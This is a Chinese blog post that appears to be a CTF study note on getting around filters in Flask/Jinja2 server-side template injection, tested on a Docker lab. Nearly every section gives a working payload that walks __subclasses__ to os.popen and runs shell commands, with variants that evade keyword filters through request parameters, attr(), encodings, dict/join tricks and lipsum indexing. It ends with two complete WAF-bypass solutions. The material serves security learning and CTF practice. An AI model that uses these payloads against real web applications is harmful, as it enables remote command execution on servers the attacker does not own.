SSTI 绕过方法总结

SSTI 绕过方法总结

学习绕过的重点是掌握一个技术的使用方法。

这其中的许多方法,看起来好像就那样,但是实验起来,就会发现哪哪都碰壁 (┬┬﹏┬┬)

针对不同的过滤情况,我们可以先构造一个常规的 payload,然后再根据实际情况进行改造绕过。这个常规 payload ,在我看来一定要简洁。当然还必须得实际有效。

本文重点在于绕过方法的讨论,不会涉及脚本等其他实战可能用到的内容,payload 中的索引值直接给出。

测试环境:docker 靶场 mcc0624/flask_ssti:last


一、绕过方法

0x01 索引绕过

对于列表和字典,有时一些过滤会导致不能直接用 . [] 取到其中的值。

1. 魔术方法 __getitem__()

对列表和字典使用,参数为键名或数字索引,可以绕过中括号过滤。

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}
2. 过滤器 pop()

对列表和字典使用,参数为键名或数字索引,可以绕过同时过滤中括号和 __getitem__。但是这个方法实测会破坏环境,只能用一次。

3. 中括号 []

对列表和字典使用,参数为键名或数字索引。可绕过点 . 过滤。

事实上,许多时候它会被过滤。

# 原 payload
{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{''['__class__']['__base__']['__subclasses__']()['__getitem__'](199)['__init__']['__globals__']['__getitem__']('os')['popen']('cat flag')['read']()}}

请添加图片描述

0x02 关键字符绕过

1. flask 对象 request
方法说明
request.args.key获取 get 请求的参数
request.form.key获取 post 请求的参数
request.headers.key获取请求头的参数
request.cookies.key获取 cookie 的参数
request.data获取请求体原始数据
request.json获取请求体的 json 数据
request.values.key获取 get 和 post 请求的参数
ps: key 为参数名
  • eg1: request.args

url

http://xxx/flaskBasedTests/jinja2/?os=os&cmd=cat flag

post

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.args.os).popen(request.args.cmd).read()}}

请添加图片描述

  • eg2: request.form

post

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.form.os).popen(request.form.cmd).read()}}&os=os&cmd=cat flag
  • eg3: request.cookies

post

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__(request.cookies.os).popen(request.cookies.cmd).read()}}

cookie

# cookie 传入
os=os;cmd=cat flag

实测发现 cookie 方法传参时最好在 BurpSuite 中改包,我在使用低版本的 HackBar 时会出现 cookie 传参失败的情况(Cookie 值仍为原来的 PHPSESSID )。

2. 过滤器
过滤器说明eg
attr()获取对象的属性attr('__class__')
length,count返回字符串的长度,可绕过数字过滤'test'|length
reverse将字符串反转'test'|reverse
replace将字符串中的某个字符替换为另一个字符clear|reverse('c','q')
join将序列中的参数值拼接为字符串,常与 python 内置 dict() 配合使用dict(ha=1,ppy=1)|join
list将对象转换为列表'string'|list
lower将字符串转换为小写'CTF'|lower
upper将字符串转换为大写'ctf'|upper
string将对象转换为字符串lipsum|string

过滤器可以链式调用,如 ''|attr('__class__')|attr('__base__')|string|length 将返回字符串 <class 'object'> 的长度 16。

  • eg1:
# reverse
{%set a='__ssalc__'|reverse%}{{''[a]}}
# replace
{%set a='**c1422**'|replace('1422','lass')|replace('**','__')%}{{''[a]}}
  • eg2:
# 如果是过滤了数字,__subclasses__ 后选取的数字可以用 length 绕过
{%set i='abcdefghij'|length*'abcdefghij'|length*'ab'|length-'a'|length%}{{''.__class__.__base__.__subclasses__().__getitem__(i).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}
  • eg3:

过滤器 attr 配合 request 方法绕过

{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen("ls -l /opt").read()}}
# 用 hackbar 或者 burpsuite 注入
name={{()|attr(request.form.cla)|attr(request.form.ba)|attr(request.form.sub)()|attr(request.form.ge)(199)|attr(request.form.in)|attr(request.form.glo)|attr(request.form.ge)(request.form.os)|attr(request.form.po)(request.form.cmd)|attr(request.form.re)()}}&cla=__class__&ba=__base__&sub=__subclasses__&ge=__getitem__&in=__init__&glo=__globals__&po=popen&re=read&os=os&cmd=cat flag

这里的过滤假定的是仅过滤了 POST 参数 name,其他参数未过滤。如果过滤了所有 POST 参数,则可以考虑请求头参数和 GET 参数。

需要注意的是 payload 中的参数名不能是一些 python 中的关键字,比如 getpop 等都是不行的。如果 payload 未成功执行,检查一下参数名是否含关键字。

3. 字符编码

unicode、url、16进制 hex、base64、chr()、格式化字符串

eg:

  • unicode
# 原 payload
{{().__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(request.form.os)|attr(request.form.po)(request.form.cmd)|attr(request.form.re)()}}&po=popen&re=read&os=os&cmd=cat flag
  • url
# 原 payload
{{().__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{().%5f%5f%63%6c%61%73%73%5f%5f.%5f%5f%62%61%73%65%5f%5f.%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f().%5f%5f%67%65%74%69%74%65%6d%5f%5f(199).%5f%5f%69%6e%69%74%5f%5f.%5f%5f%67%6c%6f%62%61%6c%73%5f%5f.%5f%5f%67%65%74%69%74%65%6d%5f%5f('%6f%73').%70%6f%70%65%6e('%63%61%74%20%66%6c%61%67').%72%65%61%64()}}
  • 16进制
# 原 payload
{{''.__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()["\x5f\x5fgetitem\x5f\x5f"](199)["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fgetitem\x5f\x5f"]('os').popen('cat flag').read()}}
  • base64

python2 环境适用,靶场未实验成功(根据陈老师的解释,似乎需要 python2 的环境)。
python3 中解码 Base64 时需要先将字符串转换为 bytes 类型,再进行解码。

# python 3
import base64
print(str(base64.b64decode('X19jbGFzc19f'.encode("utf-8")), "utf-8"))
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(199)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr("read")()}}
  • python chr()(ascii)

偷个懒,聪明的你肯定能构造出完整的 paylaod。

{{''['__class__']}}
# 从内置函数中获取 ascii 解码功能并赋值给 chr
{%set chr=url_for.__globals__['__builtins__'].chr%}{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
  • 格式化字符串(ascii)
# 原 payload
{{().__class__.__base__.__subclasses__().__getitem__(199).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

{{()|attr("%25c%25cclass%25c%25c"%(95,95,95,95))|attr("%25c%25cbase%25c%25c"%(95,95,95,95))|attr("%25c%25csubclasses%25c%25c"%(95,95,95,95))()|attr("%25c%25cgetitem%25c%25c"%(95,95,95,95))(199)|attr("%25c%25cinit%25c%25c"%(95,95,95,95))|attr("%25c%25cglobals%25c%25c"%(95,95,95,95))|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
4. 字符拼接
  • Python + 字符拼接
{{''['__cla'+'ss__']}}
  • Jinja2 ~ 字符拼接
{%set a='__cla'%}{%set b='ss__'%}{{''[a~b]}}
  • python 内置 dict()

配合过滤器 join 使用。dict() 用于创建一个字典,join 用于连接字典的键名生成字符串。可以绕过引号过滤。

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
{%set a=['__cla','ss__']|join%}{{()[a]}}
  • 内置函数 & 对象 的返回字符拼接

可以利用的 flask 内置函数和对象有:lipsum self app.__doc__ {}|select() config url_for
利用上面这些对象或者函数,将其返回值转换为字符串,再转换为列表。这个列表中将含有我们想要的字符,直接 [] 取索引值或者 pop() 方法返回特定索引的值。

{{lipsum|string|list}}
{{self|string|list}}
{{self|string|urlencode|list}}
{%set a=(self|string|urlencode)[0]%}{{a}}
{%set a=({}|select()|string())|list%}{{a}}
...

请添加图片描述
请添加图片描述
请添加图片描述

jinja2 的 string() 过滤器可以将对象转换为字符串,list() 过滤器可以将对象转换为列表,urlencode() 过滤器可以将字符串转换为 url 编码。
app.__doc__ 的意思是对 app 对象调用 __doc__ 方法,返回一个字符串。
{}|select() 的意思是对空字典调用 select() 方法,返回一个 select 对象。

通过这种方法,我们几乎可以取到所有被过滤的字符。

二、综合绕过实战

Challenge 1

WAF 过滤:' " . + request [ ]

# 原 payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

payload
较长的 payload 改造时建议先分行,然后再合并,就像下面这样。

{%set a=dict(__cla=1,ss__=2)|join%}
{%set b=dict(__bas=1,e__=2)|join%}
{%set c=dict(__subcla=1,sses__=2)|join%}
{%set d=dict(__in=1,it__=2)|join%}
{%set e=dict(__glo=1,bals__=2)|join%}
{%set f=dict(__geti=1,tem__=2)|join%}
{%set g=dict(po=1,pen=2)|join%}
{%set s=lipsum|string|list|attr(f)(9)%}
{%set p=(dict(cat=1)|join,s,dict(flag=1)|join)|join%}
{%set r=dict(re=1,ad=2)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(f)(117)|attr(d)|attr(e)|attr(f)(g)(p)|attr(r)()}}

{%set a=dict(__cla=1,ss__=2)|join%}{%set b=dict(__bas=1,e__=2)|join%}{%set c=dict(__subcla=1,sses__=2)|join%}{%set d=dict(__in=1,it__=2)|join%}{%set e=dict(__glo=1,bals__=2)|join%}{%set f=dict(__geti=1,tem__=2)|join%}{%set g=dict(po=1,pen=2)|join%}{%set s=lipsum|string|list|attr(f)(9)%}{%set p=(dict(cat=1)|join,s,dict(flag=1)|join)|join%}{%set r=dict(re=1,ad=2)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(f)(117)|attr(d)|attr(e)|attr(f)(g)(p)|attr(r)()}}

Challenge 2

WAF 过滤:' " _ 0-9 . [ ] \ space

{{lipsum|string|list}} 可以得到 空格(9) 和 下划线(18)。

用下面的方法可以拿到数字

{%set n=dict(aaaaaaaaa=a)|join|count%}{%set e=n+n%}{{n,e}}
实测发现上面的 exp 会报 code500 错误(不支持 + 运算?),得用下面这个
{%set n=dict(aaaaaaaaa=a)|join|count%}{%set t=dict(aa=a)|join|count%}{%set e=n*t%}{{n,e}}

得到 空格 和 下划线

# 空格
{%set s=lipsum|string|list|attr('pop')(9)%}{{s}}
# 下划线
{%set x=lipsum|string|list|attr('pop')(18)%}{{x}}

payload

受制于这道题的过滤,只能使用 pop() 方法,此方法会将 列表/字典 的值弹出,这个过程不可逆。所以注入需谨慎,否则需要重启环境。

# 原 payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

{%set n=dict(aaaaaaaaa=a)|join|count%}{%set th=dict(aaaaaaaaaaaaa=a)|join|count%}{%set t=dict(aa=a)|join|count%}{%set e=n*t%}{%set num=n*th%}{%set p=dict(pop=p)|join%}{%set s=lipsum|string|list|attr(p)(n)%}{%set x=lipsum|string|list|attr(p)(e)%}{%set r=dict(re=a,ad=a)|join%}{%set c=(x,x,dict(cla=a,ss=a)|join,x,x)|join%}{%set ba=(x,x,dict(ba=a,se=a)|join,x,x)|join%}{%set sub=(x,x,dict(subcla=a,sses=a)|join,x,x)|join%}{%set i=(x,x,dict(in=a,it=a)|join,x,x)|join%}{%set g=(x,x,dict(glo=a,bals=a)|join,x,x)|join%}{%set po=dict(po=a,pen=a)|join%}{%set pa=(dict(cat=a)|join,s,dict(flag=a)|join)|join%}{%set re=dict(re=a,ad=a)|join%}{{()|attr(c)|attr(ba)|attr(sub)()|attr(p)(num)|attr(i)|attr(g)|attr(p)(po)(pa)|attr(re)()}}

总结并实测绕过方法时对于我来说委实是一件费脑的事情,如果各位发现文中 理解及payload 有误,亦或者你在实测时发现有问题,你有不明白的地方,欢迎讨论,我们一起学习!

By QING

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值